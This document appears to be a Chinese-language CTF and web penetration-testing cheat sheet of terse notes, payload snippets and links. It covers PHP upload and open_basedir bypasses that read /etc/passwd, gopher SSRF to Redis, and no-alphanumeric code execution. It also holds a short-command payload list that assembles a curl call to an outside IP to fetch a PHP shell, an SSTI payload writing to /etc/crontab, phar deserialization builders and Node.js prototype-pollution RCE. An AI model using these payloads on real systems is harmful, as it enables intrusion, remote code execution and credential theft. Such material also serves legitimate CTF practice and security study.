https://book.hacktricks.xyz/

https://github.com/swisskyrepo/PayloadsAllTheThings

信息搜集

御剑目录扫描专业版v1.1

dirsearch

GitHack

svn-extractor

SpringBoot-Scan

/..;/

文件上传

pathinfo() ext_name in_array(strict=false)

move_uploaded_file()

黑名单：空格 大小写 php5 phtml phar a.php/. .htaccess .user.ini

https://xz.aliyun.com/t/2657

PHP 文件操作

preg_match(, []) == FALSE strlen([]) == NULL

is_file($o) => $o->__toString()

file_get_contents() XXE **php://filter glob:// phar://** ； 可以从 phar (zip) 中读取文件

require_once()
php://filter/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/...../

file_put_contents('' + evil)

rot13, base64, iconv

allow_url_fopen=True allow_url_include=False

data://text/plain,abvcd

php_filter_chain_generator.py

php_filter_chains_oracle_exploit

https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md

open_basedir 绕过

```
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("a/b/c/d","v");
symlink("v/../../../../etc/passwd","exp");
unlink("v");
mkdir("v");
echo file_get_contents('exp');
```

```
mkdir('v');
chdir('v');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');
```

PHP SSRF

$content = file_get_contents(FILE)

file_put_contents(FILE, $content)

FTP 重定向 （21 Control port、Data port）

SoapClient __call()

https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/#HTTP-%E5%8D%8F%E8%AE%AE%E6%89%93-Redis

解压目录穿越/符号链接

unzip /../ **Java ZipFileIterator**

symbolic link 二次解压

PHP SSRF

curl_exec() **gopher://**IP:PORT/_XXXXXXXXX

CRLF 注入 (HTTP 头) => redis

file_get_contents(, $context)

反序列化

PHP **PoP 链** Java 工具 Python **pickle** PyYAML .Net

https://xz.aliyun.com/t/7923

PHP 中可控文件 trick

PHP Apache mod ==> /var/lib/php/sessions/ /tmp/systemd-private-xxxx/tmp

Docker PHP ==> /tmp/ **/tmp/sess**_SESSNAME **/tmp/php**a8X1K

SESSION_UPLOAD_PROGRESS phpinfo();

PHP 无字母数字/代码执行

eval() XOR **(hex2bin('0b130b12151d14')^'{{{{{{{')();**

system() **. /*/????????[@-[]**

escapeshellcmd(escapeshellarg())

strlen($s)<=4 ? system($s)

```
playload = [
 # generate "g> ht- sl" to file "v"
    '>dir',
    '>g\>',
    '>ht-',
    '>sl',
    '*>v',
 # reverse file "v" to file "h", content "ls -th >g"
    '>rev',
    '*v>h',
  # generate "curl 59.xx0.x5x.4>p.php"
    '>\;\\',
    '>p',
```

```
    '>ph\\',
    '>p.\\',
    '>\>\\',
    '>4\\',
    '>5x.\\',
    '>0.x\\',
    '>xx\\',
    '>59.\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',
    'sh h',
    'sh g',
]
```

Python 沙箱

Python f-string eval() exec()

https://xz.aliyun.com/t/12647

ClassLoader

SSTI Checklist

https://pankas.top/2024/02/12/%E6%8E%A2%E7%B4%A2spring%E4%B8%8Bssti%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95/

https://tttang.com/archive/1692/

```
data = """{% set t="galf"|reverse %}{% set f=get_env(name=t,default="123") %}{%
if f is matching('canshu.*') %}aaaaa{% endif %}
```

```
{{.}}    {{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}}
```

SQL Injection Checklist

https://zu1k.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/

https://r0fus0d.blog.ffffffff0x.com/post/postgresql-pentest/

<img/onerror=>

PHP 反序列化 trick

PHP unserialize()

字符串逃逸（serialize() 后 unserialize()）

cve-2016-7124 绕过 wakeup （fast-destruct，删去最后的 }；，增加序列属性个数）

https://www.viewofthai.link/2022/11/08/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E7%BB%95%E8%BF%87wakeup/

phpggc

phar 反序列化

需要扩展名；头尾脏数据用 TAR 格式绕过；compress.zlib://phar://...

```
$phar = new PharData(dirname(__FILE__) . "/poc.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
```

Python pickle 反序列化

R i o b IMPORT

c 引入 `__main__`

https://xz.aliyun.com/t/11807

Java 反序列化工具

ysomap.jar

JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar

Node.js 原型链污染

`__proto__` `constructor.prototype`

```
<% global.process.mainModule.require('child_process').exec('calc'); %>
```

https://github.com/aszx87410/blog/issues/139

MySQL **LOAD DATA LOCAL INFILE**

jdbc:mysql:///?allowUrlInLocalInfile=true

https://forum.butian.net/share/1339